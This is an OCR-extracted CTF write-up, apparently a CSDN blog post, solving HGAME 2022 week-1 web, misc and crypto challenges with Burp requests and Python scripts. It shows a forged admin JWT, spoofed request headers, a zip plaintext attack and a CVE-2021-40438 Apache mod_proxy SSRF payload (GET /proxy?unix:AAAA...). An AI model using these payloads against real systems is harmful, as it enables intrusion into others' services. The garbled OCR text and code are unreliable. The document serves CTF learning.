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Target: http://

Request
Pretty JiENY \n  Actions v
1 FET /v1/todo/list HTTP/1.1

2 Host: whatadminisdoingwhat. mjclouds. com
3 User-Agent: Mozilla/5.0 (Nindows NT 10.0; Winé4; x64; rv:96.0) Gecko/20100101
Firefox/96.0
4 Accept: *®/*
5 Accept-Language: zh—CN, zh;g=0. 8, zh-TW;q=0. 7, zh-HK;g=0. 5, en-US; g=0. 3, en;g=0. 2
6 Accept-Encoding: gzip, deflate
7 Referer: http://adminisdoingwhat. mjclouds. com/
B token:
eyJhbGei0iJIUzIINi IsInR5cCI6TkpXVCJY. ey JJRCIEN jQwMywiVANI ckShbWUi0iJtb2NodTe i LCJQaGIuZS 16
FilsIkVEYWIs| joiliwiZXhwl joxNjQzMzk2N jg1LCJpc3Mi0i JNSmNsb3VkeyJ9. qGHxwy7308091CnwghY | xhsM
u_kF8_rYifznF9zIJPE
9 Origin: http://adminisdoingwhat. mjclouds. com
10 Connection: close
1
12

Tokenfi#% 2R I /2 jwt :  https://jwt.iof

Encoded cii v o

eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJ9. ey
JJRCI6MSWiVXN1ck5hbWUi0iJhZG1pbiIsI1Bob
251TjoiliwiRW1haWwiOiIilLCJ1leHAiQjE2NDMz
0TY20DUsImlzcyI6Ik1KY2xvdWRzIn®.Rb1xZxF
64qekZHBC2DSzv7MUyWg5Q1KeoBDV111FIdU

Response

ZEnW Raw FRender \n  Actions v

1

“UpdatedAt"”: "2022-01-26T23:03:05. 254+08:00",
"DeletedAt"” :null,
"todo_name":"123",
"description”:"some desc"”,
"end_time":"2022-01-26T23:02:15+08:00",
"status”:1,
"user_id":6403

1

“1D":4131,
"CreatedAt”: "2022-01-26723:02:21. 205+08:00",
"UpdatedAt"”: "2022-01-26T23:02:21. 205+08:00",
"DeletedAt" :null,
"todo_name":"123",
"description”:"some desc”,
“end_time":"2022-01-26123:02:20+08:00",
"status”:0,
"user_id":6403

1,

"1D":4351,

"CreatedAt"”: "2022-01-28T15:04:56. 179+08:00",
"UpdatedAt"”: "2022-01-28T15:05:26. 551+08:00",
"DeletedAt" :null,

"todo_name": "study”,

"description”:"some desc"”,
“end_time":"2022-01-28T15:04:54+08:00",
"status”:1,

"user_id":6403

Decoded cormepanoan ano secrer

HEADER: ALGORITHM & TOKEN TYPE

"alg”: "HS256",
“typ” CTJWTT

PAYLOAD: DATA

{
"Ipt: o1,
“UserName”: “"admin”,
"Phone™: ™",
"Email”: "",
"exp": 1643396685,
"iss": "MJclouds”

)
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https://jwt.io/

e ID N1, Username N admin
RIFEHSE 1 Jwt %5013 2 flag

m Cancel [ < 7|

VERIFY SIGNATURE

HMACSHA2 56 (
baseb4UrlEncode(header) + "." +
baseb4UrlEncode(payload),
) [0 secret base64 encoded
CSDN @3 4]
Target: http://wh inisdoil L jclouds.com /

Request

Pretty JEENN \n  Actions v

1 GET /v1/todo/list HTTP/1.1

2 Host: whatadminisdoingwhat. mjclouds. com

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:96.0) Gecko/20100101
Firefox/96.0

4 Accept: */%

5 Accept-Language: zh-CN, zh;g=0. 8, zh-TW;q=0. 7, zh-HK;g=0. 5, en-US;0=0. 3, en;g=0. 2

6 Accept-Encoding: gzip, deflate

7 Referer: http://adminisdoingwhat. mjclouds. com/

g token:
eyJhbGei

1KeoODVI I IF1dU|
9 Origin: http://adminisdoingwhat. mjclouds. com
10 Connection: close
1"
12

R ek . . I R R ) ek ke

JIUzITNi 1sInR5cC161kpXVCJT. ey JJRCIOMSwi VINI ckShbWUi i JhZG1pbilsl1Bob2511 joiliwi
RWihaWwiOi | iLCJIeHAi0JEZNDMzOTY20DUs Iml zcy | 61k1KY2xvdWRz I n0. Rb | xZxF 64qekZHOG2DSzv 7MUyNg50Q

Response

[{G Y Raw Render \n Actions v

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Fri, 28 Jan 2022 07:09:09 GMT

4 Content-Type: application/json; charset=utf-8

5 Content-Length: 309

& CGonnection: close

7 Access—Control-Al low-Credentials: true

8 Access—Control-Al low-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorizatio
9 Access—Control-Al low-Metheds: POST, GET, OPTIONS, PUT, DELETE, UPDATE

10 Access—Control-Allow-0rigin: http://adminisdoingwhat. mjclouds. com
11 Access—Control-Expose-Headers: Content-Length, Access—Control-Allow-0rigin, Access—Control
12 X-Cache: MISS
13 CGache-Control: no-cache
14
s

"code" : 2000

"message”: "success”

"count":1

“data": [

{

"D,
"CreatedAt”: "2022-01-18T21:58:53. 457+08:00",
"UpdatedAt": "2022-01-20T22:29:31. 955+08:00",
"DeletedAt”:null,
"todo_name": "hgame {S0_yOu_K1nOw_hOw_~JwT Works™111IL} ",
"description”:"some desc”,
"end_time":"2022-01-18T721:58:53+08:00",
"status":0
“user_id":1

1
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import requests

= "https://hgame-spider.vidar.club/8983cb3acd"

res_url = init_url + link

regex = re.compile('href="(.*?)"")
html = requests.get(url=res_url)

1 = re.findall(regex, html.text)

= [i for iinl if i I= ""]
if len(link) == O:
break
else:
link = link[©]
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Main
s FadeUpAndOut) ) ; 2t lookup html
ads
aframe
» Watch
deleting.length + v Breakpoints
ush(new Text(hex.x, hy . ing(), "bo r, fadeUpAndOut)) ;

Scored = deletedslo ;
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¥ Call Stack
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Fujiwara Tofu ShoplEs=]

IEEEEREES —FRALGC. MARIEEETS, NERR. BREHETEREREE.

100
100

GET / HTTP/1.1
Host: shop.summ3r.top

User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

referer:qiumingshan.net
Cookie: flavor=Raspberry;
gasoline:100
X-real-ip:127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

=R o <

P i T
Whwl B L IR )

Request

CEVN \n  Actions v

1 GET / HTTP/1.1

2 Host: shop. summ3r. top

3 User—Agent: Hachi-Roku

4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */%;0=0. 8
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;a=0. 5, en-US;¢=0. 3, en; q=0. 2
& Accept-Encoding: gzip, deflate

7 referer:qgiumingshan. net

8 Cookie: flavor=Raspberry;

9 gasoline:100

10 x-real=ip:127.0.0.1

11 Connection: close

12 Upgrade-Insecure-Requests: 1

13 Gache-Control: max-age=0

14

15

MISC

WA R 2 R !

Response

I Render \n Actions v

1 HTTP/1.1 200 OK

2 Content-Type: text/plain; charset=utf-8

3 Gasoline: 0

4 Server: gin—gonic/gin v1.7.7

5 Set-Cookie: flavor=Strawberry; Path=/; Domain=localhost; Max-Age=3600; HttpOnly
6 Date: Sat, 22 Jan 2022 22:05:38 GMT

7 Content-Length: 31

8 Connection: close

9

10 hgame {1_bOught_4_S3xy_swimSult}
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HelloHGAMEZ2022

hgame{Welcom3 t0 HG@ME 2022}

hgame{Welcom3_t® HG@ME_ 2022}

XA R 48 A R

X RS SRS

ik

ENEES, =REIELETHS?
(FHC=EER, BE rE)

2 https://potatD-1308188104.cos.ap-shanghai.myqcloud.com/Week1/%E8%BF%99%E4%B8%AAYES %68 BC%AY 6E9%BA%BBY%E7%83%AB-New.zip
100
100
118

CSDN @3k 4]

© =EEEaESET-Newzip - Bandizip (Standard)
MR |ER(E) EE0 BEHO) WENV IEM  EEH)

&£ ENEEaESRE-Newzip  Zif ’ EEEIOh Etgoh 28 EaEEE S
.README.M” 73 65 THT =% 2022/1/18 11:37:32 Deflate
.password-note.bd" 145,928 180,000 TXT 3044 2022/1/17 15:24:24 Deflate
£ flag zip* 33,715 33703 ZIP FEEESTiE 2022/1/20 21:48:16 Store

Pure numeric passwords within 6 digits are not safe!
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Advanced Archive Password Recovery $hiHEB:
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README . txt

I don't know if it's a good idea to write down all the passwords.

¥ password-note. txt 1E T HLFHAT R
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2022/1/22 1:18:29 - (1% =1
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File Edit Selection Find View Goto Tools Project Preferences Help
4p README.txt
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1 If you don't like to spend time compressing files, just stores them.
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nag.zip

© flag.zip - Bandizip (Standard)
R |E(E) SHE(() EWO) WEN) IR EEH)

=3 EHES EEAE mEEE  ERAAEE (CRCO Bt R

k=i FEEREF N [FEFA
BREADME bt 80 68 TXT 3z 2022/1/18 11:35:06 Store ZipCrypto 966acled A
&] Alag.jpg* 32,993 32981 JPG Xkt 2022/1/20 21:46:40 Store ZipCrypto 4bdc1793 A
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© flag.zip - Bandizip (Standard)
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TE(M) #ENH)
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EiR - R Fieh 2 EHEH EEAE mEEE ERARE (RO Bt IR
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68 68 TXT i 2022/1/18 11:35:06 Store

[BIREADME o

£ W A A & 0 @ §

Open Save Start | Stop  Benchmark  Help About it

CSDN @R 4]



Encrypted ZIP-file Type of attack

ChlUsershAdministratorDownloadss | g% - Flainctest AZPR by

Fiange Length Dictionary Flaintest  Auto-save Options  Advanced

Flain-text aptions o Decryption keys are shown in registered version only.

Plain-test file: path: Only first file from archive will be decrypted.
LU sershAdministratorsDownloads 21 FESEE7| &% - Start from: | 16504 '@

o Keyl: | Keyl: S Key2: |

Allowy uzing binary file az a plaintest ZIF archive

Statuz window

20221722 1:22.10 - Plain-test attack started

2022/1/22 1:23:16 - Encryption keys successfully recovered |

20227,/22 1. 2316 - Decipption keps are shown in regiztered werzion only.
Only first file fram archive will be decrppted.

Current pazzword:  nda Average speed: nia
Time elapzed: 1m Bz Time remaining: 49d17h 2m 47s
Plain-text attack is in progress, tiying to retrieve any password [up to 3 symbolzs long)
100%
A7PR wersion 4.00 [c] 1997-2005 ElcomSaft Co.Ltd. PR T
L) “Iid

1s
flag.jpg flag.zip README.txt README.zip UnEncrypted.zip
binwalk flag.jpg

DECIMAL HEXADECIMAL DESCRIPTION

] 8 JPEG image data, JFIF standard 1.e1

20421 0 Zip archive data, encrypted at least v2.8 to extract, compressed Sige: 12418, uncompressed size: 13251, name: flag.jpg
32959 Bx80 End of Zip archive, footer length:

£ongiBe Flag . jpg
Processing: flag.jpg
| foundat=Flag. jpgoZgTSQUenSTAADS*0 ] /ENDITAGe 001 0BOGODY HETD o0 00030} 000=go0o {0005 " 203560000 HHORPUILINGCY, 000 IDIY | 00000000000 0000Q00\\0)000|00<000<0/00000000000] 00000000080 N0o0VeE
#[.Coo49001qoNo00gC ]

06CoN946 L<réo0os>" =0} o%usoUs68UZ606Qno6060ddoo0N65Usouto6060 3onienckusso460 ;606761  PPHDATLLIN|Z404 76|04 PXTo4¢]eUuMAIECE [ {GgWn004640000p0y 000t o0+2i[000 e e 1560000200 0AS00000000500XDO600000. =6 q%eNESQ)
Yoo jovoed2e, oUe0eveJe(e0oe ologe B 0} fro<eosuoogere
«l
tree output/
output/
}— audit.txt

— irg

L— 00000039.2ip

directories, 3 files
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BB GRS B X 4 R 75 Ui R H R0 ]

hgame{WOw! yOU Kn@w zlp 3ncrYpt!}

0 R 3L B

i ERAYREDm]

BFEF IR RETLSPH T EVAER A EEeEE R EERES

150
150
Whwl W)
A Ml Wireshark - 5855 TCP i (tcp.stream eq 0) - SIS peapng - o x
PV - | User-Agent: Mozilla/5.8 (X11; Linux x86_64; rvi78.8) Gecko/20160101
Thunderbird/78.14.0 |
[ATtep strean a0 MIME-Version: 1.8 BE3 -]+
o Port Tine Content-Type: multipart/mixed;
137 25 0.0640 --(749C3423D3952356F 67A368"
. 5 0.05pg  Content-Language: en-US
101 250.0512 This is a multi-part message in MIME format.
103 25 0.0514 ------------ C749C3423D3952356F67A368
Content-Type: text/plain; charset=gok; format=flowed
10 250.0638 (o oiont Transfer-Encoding: Tbit
138 25 0.0642
146 250.0642 P UTF-8?B?50iR55+16YGT5L2g5piy
B RoORE | me C749C3423D3952356F67A368 =
93 25 0.0507 -Type: image/png;
123 25 0.0530 UTF-828?5rapsZu+LnBuZi
Content-Transfer-Encading: base64
@ 250.0494 (onont Disposition: attachment;
67 250.0494  filenane=-UTF-8' %EGUBEUAOXESHOBBERLERTOAGER6T
69 25 0.0494
i 35 0. paga LVBOREKGEOAAAANISUNEUGAA2MAAATP CAYARAD+ ¢ AC AREAAE LEQVR4N0292 ZBLIXTXCXTO
g Gu99vseSkFtanZVZHaksVItUgpIKI [EaAUBLLGL aMZuxKgzNYNPHHT bOF 160 TYDAIRrPMEG
73 25 0.0498  EKIQaGGQUCPQioS2kkpb W STbkVKREZKRHNAAE7dzvnzB+/c++72/25h7tHRGZKAVZSPCPC
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95 25 0.0508  118yCuUVIQZECIQEALHOtZULCLTpH1ahFHQYBSrT111e Ul TDPACZr THCwmiy 1CDHSVSH
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5 350,067 FOC2260F TCkOGS 1N KL XN 41 Q26N CANOG2AHE L gOGZIKHSUNLIo LU0V G365

sKrfT6gDSydHufdtjxNjmP/SHng/KBLtOFVC16gmY1SmUUBLKESULHHY6 IXr CulinFyx0a7Z
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e https://the-x.cn/zh-cn/base64/

Base64 T4 i#1S. 4mi3

EilBaset4 CSS Baseb4 DESIMEREE IDESHIEREE AESINE/RRE RSANNE/REE

VBORWOKGgOAAAANSUREUQAAAZMAAAIPCAYAAAD+CAACAAEAAEIEQVRANOZ9eZBIWXTXCXTO
du99vseSkftamZVZWaWsVJtUgpJKIIEaAUObIGiaMZuxXgzNYNPMwWHTBOFIbOTYDASRIPMEG
EKIQaGGQAUCPQIoSZKkpbTVVSThkvkREZKRHN4dTdzvnzB+/c++72/25hTtHHRGZkdvzSPCPC
33t3eleec3b/7/f3apP/cGnooocAEDKDVVSUOMasKDh99xJLizkmanmhiT+69+00+72v3TXv
027ngNuds/4QIuOmsvLENhVIESroaxXcC46pkc2tCXTeAosgdC4sSAONXRVUZXBZMY SjyDJcS
sNAOLAVOTduOxBgPPISAKYW1Inwxw40sSiloFEppDJY szyiKAIC4IIEG1NQT7.Jc2klZpINBAD
IIByCuUVIQZ8CIQEAIHOtZUUCLTpH1ahFMQY8crTii1eeUIIhDpACZITWCwWmNyIlICDHSVpaW

IXjtiy 28 TeGwuWF TNOLMvSTY NFIbESaTmthO++uuw/TiIULAVSqyptgpCTrS1tuUsSWUuvZ9

HBIERED - @xa OHex BBEER: Szl v FREE

EARE SRR T ESEEE.
EFRRETHENTAES, BEEEESN, ATk ETheaxRE,
MEETh-xRE, BEXHABIHER!

o -

&% [Png] Png Image

Size:867x527

B EIERA
BHEEE - 665,250 Bytes
TRIGEL - 18, #HET: Tms
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File View Effec Barcode Window

B & AV fRASE G LLIRD B

= EE=]
13 hgame{ez_Img % 0 N .

2] StegSolve 1.3 by Caesum - o x
File Analyse Help
s i, Mo § S 4 reen plane 2

Barcode OK.

Type  [Code 128
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alue [fomatied] 5 5 [% 4 % P
f OHex QIP OGSI/EAN OKBY (Dt PostAG i : - - : 47 ] W 0 U B Ty e

Show as Unicode
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TEFHE (u) | BHE | ERESES -
w0 | xm - |OE 0B G0T000HE oo o A aoooee (00 BT 0075 00 bt

BB CSDN @3k )

HHLSBFAS, sSlientEye fRAS15 3] —ANHik

B Decode message: Cif/Users/Administrator/Downloads/B5, (EEEMTER.wav ? pi4
Media’s encoding format : IW:WE 'I [*]
—Options
Sound quality: 93.?5%|norma| ;l Advanced |
Decoded message

hitps:ipotat0-1308188104.cos.ap-
shanghai. myqcloud.com/Week1/5_5_T_ Vwav

ﬂ,. Type IAESESB LI Key Ittttttt [
CharSet: IUTFB vI B |V Encrypted data ¥ Compressed data [} mld E_E.%J

¢ https://potat0-1308188104.cos.ap-shanghai.myqgcloud.com/Week1/S_S T V.wav

WrE sk &£SSTV, Robot36 HAEMT



https://potat0-1308188104.cos.ap-shanghai.myqcloud.com/Week1/S_S_T_V.wav

hgame{1l_c4n_5ee_the wav}
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from PIL import Image

img = Image.open('flag.bmp')

width, height = img.size

bin_data =
num_list = []
n =0
for w in range(width):
for h in range(height):
pix = img.getpixel((w,h))
if pix != (255, 255, 255):
#print("{} {}".format(pix, n))
num_list.append(n)
n +=1
for i in range(len(num_list)-1):
if (num_list[i+1] - num_list[i]) >= height:
bin_data += '@’
else:
bin_data += '1°'
print("[+]binary data: {}".format(bin_data))
flag = '
for i in range(@, len(bin_data), 8):
flag += chr(int(bin_data[i:i+8], 2))
print(flag)

PS C:UsersAdministratorDownloads> python .code.py

[+]binary data: ©11010000110011101100001011011010110010101111011010001000110000101101110011000110011000101101110
0110011101011111010011000011000101101110011001010101111100110001001101010101111101100110011101010110111000101100
0101111100110001001101010110111000100111011101000101111100110001011101000011111101111101
hgame{Danclng_L1lne_15_fun,_15n't_1t?}
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TEEREFEEIEENEA.
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100
100

1
[
= F]
]

A5 men T
L 'fc_f"/_. ’|',lrJ

H cwu i ! yoshkaib - Sublime Text (UNREGISTERED)
File Edit Selection Find View Goto Tools

Project Preferences Help

FRANE L, (H R HL S BE i

A

o f5 2 EHN .
o f5 2 EHHN -
2%

~

=
Pe=s

E

o 9/



SR i b

Reverse String SRR e | socashoe

Enter the Text sample 9 O A O |_|:|
T B R N I e Aautil L L S R R L O N L -
fid A S eSS Sk A A A A S A -
T o N Y L N Y I e SR L SENCy SRSy I &
—rf - f A S - -
A S kA i A A S A S A -
A A A A AL A A A A A A S-S -

A -

-

£
Size : 1.07 KB, 1099 Characters

WG 7 Reverse String T File.. & Load URL

The Reverse String |_|:|

-

Ry Ay Ry Sy Sy iy " Ry Ry [y y—" iy Sy Su— [y Sy—" Sy S—_y yx
R S Sy Sy Sy Ry Ry [y gy [y g S Sy R [y oy —" Ry ——_

Sy S Ry Ry Sy R Ry Ay Ry Sy Ry Ry Sy Ry Sy [y Sy By "y g _—_—
e S Sy sy oy ey Sy O sy sy Ry Sy Sy Wy By S Wy A
S sy Ry Ry Ry Sy Ry Ry R Ry Sy Sy Sy Sy Sy By N Ry ——_
Sy Ry Sy iy Ry RSy Sy Sy RSy By Ny [ Ny Sy—" "y J— .

i ] i rl ri s s rl I s s L L ri I rl L ri i s P

Size : 1.07 KB, 1099 Characters

[0 Copy To Clipboard & Download
i : CSDN @3F 4]



http://mww.zhongguosou.com/zonghe/moErSiCodeConverter.aspx

JEE M 4 454453 31 HexhY

REEn > EREHEESE

myFE:
46AG42TEAG4546AEAD4CTI364433736959744C3658327034694E306364536CTA6BED39
T2h14E306F4D53316A6BT330T724B3202366B4C38686F T2303D

g

wipoEmEE | | 58 | sesrrEnsEss: OstsE O 858858

SHBE: (ESER: AESwREsl/EsEEEE, ERTR—H, FURA)
TS — S i—— ——f —i ———i—— - -
S Y SRS Y ST - .-
R S i—— ——f— f— i——..——f....—f—.—.i—
e A S Y Sty
Y SRSy B Uy S By S S Ny s——
D A A S S S S
R A A S
A S e y

sErETTS CSDN O 7

466642756645466E6D4C73364433736959744C3658327034694E306364536C796B6D3972514E396F4D53316A6B73
39724B3252366B4C38686F72303D

Hex 57743 31
FBUfEFNmMLs6D3siYtIL6X2p4iNOcdSlykm9OrQN9oMS 1jksOrK2R6kL8hor0=

A JE LM (N : hgame)3 21
YzBibXZnaHI6X3swUmF6X2d4eGOwd Ghrem9fMGOiMG1fdm9OrY2N6dF8hcn0=

base64 /#1531 :
cObmvghyz {ORaz_gxxmOthkzo OobOm_vokcczt_!r}

WA 2 A (R 4 22)13 3
cbvhz{Rzgx0hz_o0_ocz rOmgy_0Oa_xmtkoObmvkct!}

SR B i (R #8221 13 5
hgame{WelcOme_t0_the_wOrld_Of cryptOgraphy!}

English Novel


http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx

SHRESS, IS, DURNESEE, Hitikey, RJEHIHlkeyfi# flag.enc

import os

def if length(ori_content, enc_content, match_result):
if len(ori_content) == len(enc_content):
match_result = True
else:
match_result = False
return match_result

def if match(ori_name, enc_name):
match_result = True
ori_path = ori_folder + '/' + ori_name
enc_path = enc_folder + '/' + enc_name
with open(ori path, 'r') as f:
ori content = f.read()
with open(enc_path, 'r') as f:
enc_content = f.read()
match_result = True
if match_result:
match_result = if length(ori_content, enc_content, match result)
if match_result:
for i in range(len(ori_content)):
if ori_content[i] == enc_content[i]:
continue
elif ori_content[i].isupper() and enc_content[i].isupper():
continue
elif ori_content[i].islower() and enc_content[i].islower():
continue
else:
match_result = False

return match_result

def match_process(ori_folder, enc_folder):
all match = []
original_list = os.listdir(ori_folder)
encrypt_list = os.listdir(enc_folder)
for ori_name in original_list:
for enc_name in encrypt_list:
match_result = if_match(ori_name, enc_name)

if match_result:




ori_path = ori_folder + '/' + ori_name
enc_path = enc_folder + '/' + enc_name
match_group = [ori_path, enc_path]

all match.append(match_group)
encrypt_list.remove(enc_name)

else:

continue

return all_match

def decrypt(ori_data, enc_data, enc_flag):
keys = []
for i in range(len(enc_data)):
key = ord(enc_data[i]) - ord(ori_data[i])
keys.append(key)
result = ""
enc_data = enc_flag
for i in range(len(enc_data)):
if enc_data[i].isupper():
result += chr((ord(enc_data[i]) - ord('A') - keys[i]) % 26 + ord('A'))
elif enc_data[i].islower():
result += chr((ord(enc_data[i]) - ord('a') - keys[i]) % 26 + ord('a'))
else:
result += enc_data[i]
return result
if name_ == '_ main__ ':
ori_folder = './original'
enc_folder = './encrypt'
enc_flag = open('./flag.enc', 'r').read()
match_list = match_process(ori_folder, enc_folder)
for match_group in match_list:
with open(match_group[@], 'r') as f:
ori data = f.read()
with open(match_group[1], 'r') as f:
enc_data = f.read()

flag = decrypt(ori_data, enc_data, enc_flag)
print("{:<30}{:<30}{:<30}".format(match_group[@], match group[1], flag))




EF PowerShell

=

E¥ PowerShel

PS C:\Users\Administrator\Downloads\EnglishNovel> python .\codel.py

./original/parte.txt

./original/partl.txt

.foriginal/part1e.txt
. /original/part1ee.txt
./original/part1lel.txt
.foriginal/part1e2.txt
./original/part1e3.txt
./original/partied.txt
.foriginal/part1e5.txt
.foriginal/part1e6.txt
. /original/part187.txt
./original/part1es.txt
.foriginal/part1e9.txt
./original/part1l.txt
./original/part1le.txt
.foriginal/part1ll.txt
./original/part112.txt
./original/part113.txt
.foriginal/partild.txt
./original/part115.txt
./original/partlls.txt
.foriginal/part117.txt
./original/part118.txt
./original/part119.txt
.foriginal/part12.txt
.foriginal/part12e.txt
./original/part121.txt
./original/part122.txt
.foriginal/part123.txt
. /original/part124.txt
./original/part125.txt
.foriginal/part1l26.txt
./original/part127.txt
./original/part128.txt
.foriginal/part129.txt
./original/part13.txt
./original/part13e.txt
.foriginal/part131l.txt
./original/part132.txt
./original/part133.txt
.foriginal/parti3d.txt
.foriginal/part135.txt
./original/part136.txt
./original/part137.txt
.foriginal/part138.txt
. /original/part139.txt
.foriginal/partid.txt
.foriginal/partide.txt
./original/parti4l.txt
./original/partid2.txt

.[/encrypt/partl75. txt
./encrypt/part96.txt
.fencrypt/part323.txt
./encrypt/parti3s. txt
./encrypt/part290.txt
.fencrypt/part254.txt
./encrypt/part218. txt
. [encrypt/part206.txt
./encrypt/part289.txt
.fencrypt/part221.txt
./encrypt/part296. txt
./encrypt/partl3u. txt
./fencrypt/parts8e6.txt
.[/encrypt/part394. txt
./encrypt/part228.txt
.fencrypt/part367.txt
.[/encrypt/part292. txt
./encrypt/part314. txt
.fencrypt/part188.txt
.[/encrypt/part269. txt
./encrypt/partl70.txt
.fencrypt/part327.txt
./encrypt/partle2.txt
./encrypt/part306.txt
./encrypt/part333.txt
./encrypt/part87.txt
. /encrypt/part29. txt
./encrypt/partues. txt
.fencrypt/parts.txt

./encrypt/part3u2. txt
./encrypt/part38u. txt
.fencrypt/part260.txt
.[encrypt/partul. txt
./encrypt/part220.txt
.fencrypt/part283.txt
.[/encrypt/part179. txt
.fencrypt/partl71.txt
.fencrypt/part380.txt
./encrypt/part209.txt
./encrypt/part3.txt

./encrypt/part28u.txt
./fencrypt/part224.txt
./encrypt/part312. txt
./encrypt/part92.txt
.fencrypt/partus.txt
./encrypt/part365. txt
./encrypt/part95.txt
.fencrypt/part392.txt
. [encrypt/partus. txt
./encrypt/part74.txt
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e: httpd:2.4.48-alpine
>lumes:
./static:/usr/local/apache2/htdocs
./httpd.conf:/usr/local/apache2/conf/httpd.conf
./httpd-vhosts.conf:/usr/local/apache2/conf/extra/httpd-vhosts.conf
links:
- internal.host
depends_on:
- internal.host
orts:
- 60010:80

2 nginx:alpine
iner_name: internal.host

CSDN @ #1

Sublime Text (UNREGISTERED)
s Help

httpd-vhosts.conf

=+

use only name-based virtual hosts so the server doesn't need to worry about
IP addresses. This is indicated by the asterisks in the directives below.

Please see the documentation at
<URL:http://httpd.apache.org/docs/2.4/vhosts/>
for further details before you try to setup virtual hosts.

You may use the command line option '-S' to verify your virtual host
configuration.

HoH H H H H HH

VirtualHost example:

Almost any Apache directive may go into a VirtualHost container.
The first VirtualHost section is used for all requests that do not
match a ServerName or ServerAlias in any <VirtualHost> block.

HOoH HHHH

<VirtualHost *:80>
ServerAdmin webmaster@summ3r.top
DocumentRoot "/usr/local/apache2/htdocs™
ServerName dummy-host.example.com
ServerAlias www.dummy-host.example.com
ErrorLog "logs/dummy-host.example.com-error_log"
CustomlLog "logs/dummy-host.example.com-access_log" common
<Location /proxy>
ProxyPass https://www.google.com
</Location>
</VirtualHost>

CSDN @3k #7]
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v @ #LoadModule ident_module modules/mod_ident.so

P #LoadModule usertrack_module modules/mod_usertrack.so

[ httpd-vhasts.conf #LoadModule unique_id_module modules/mod_unique_id.so

0 hitpdcont LoadModule setenvif module modules/mod_setenvif.so
LoadModule version_module modules/mod_version.so
#LoadModule remoteip_module modules/mod_remoteip.so
LoadModule proxy_module modules/[EEIgers)- SO
LoadModule proxy_connect_module modules/mod proxy connect.so
#LoadModule proxy_ftp_module modules/mod_proxy_ ftp.so
LoadModule proxy_http_module modules/mod_proxy http.so
#LoadModule proxy_ fcgi module modules/mod_proxy| fcgi.so
#LoadModule proxy_scgi_module modules/mod_proxy| scgi.so
#LoadModule proxy_uwsgi module modules/mod_proxy uwsgi.so
#LoadModule proxy_fdpass_module modules/mod_proxy fdpass.so
#LoadModule proxy_wstunnel module modules/mod proxy wstunnel.so
#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
#LoadModule proxy_express_module modules/mod_proxy express.so
#LoadModule proxy_hcheck_module modules/mod_proxy hcheck.so
#LoadModule session_module modules/mod_session.so
#LoadModule session_cookie_module modules/mod_session_cookie.so
#LoadModule session_crypto_module modules/mod_session_crypto.so
#LoadModule session_dbd_module modules/mod_session_dbd. so
#LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so
#LoadModule ssl _module modules/mod_ssl.so
#LoadModule optional_hook_export_module modules/mod_optional_ hook_export.so
#LoadModule optional_hook_import_module modules/mod_optional_hook_import.so
#LoadModule optional_fn_import_module modules/mod_optional_fn_import.so
#LoadModule optional_ fn_export_module modules/mod_optional_ fn_export.so

¥ Ag wnm (= e \
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Burp Suite Professional v2020.12.1 - Temporary Project - licensed to Uncia
Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
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m Cancel || < |¥|

Request Response

Pretty WiEIN \n  Actions v Pretty [REWE Render \n  Actions v

1 GET /proxy? 1 HTTP/1.1 200 OK
unix : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAAAAAAARAAAAAAAAAAAAAAAAARAAAAAAAAAARAAARAAAAAAAAAA 2 Date: Sun, 06 Feb 2022 17:45:28 GMT
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAA 3 Server: nginx/1.21.5
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAA 4 Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 5 Content-Length: 48
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAA 6 Connection: close
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAA 7
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAA & hgame (COng@tul4tiOn”u_r3prOduced_CVE-2021-40438] |
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAARA
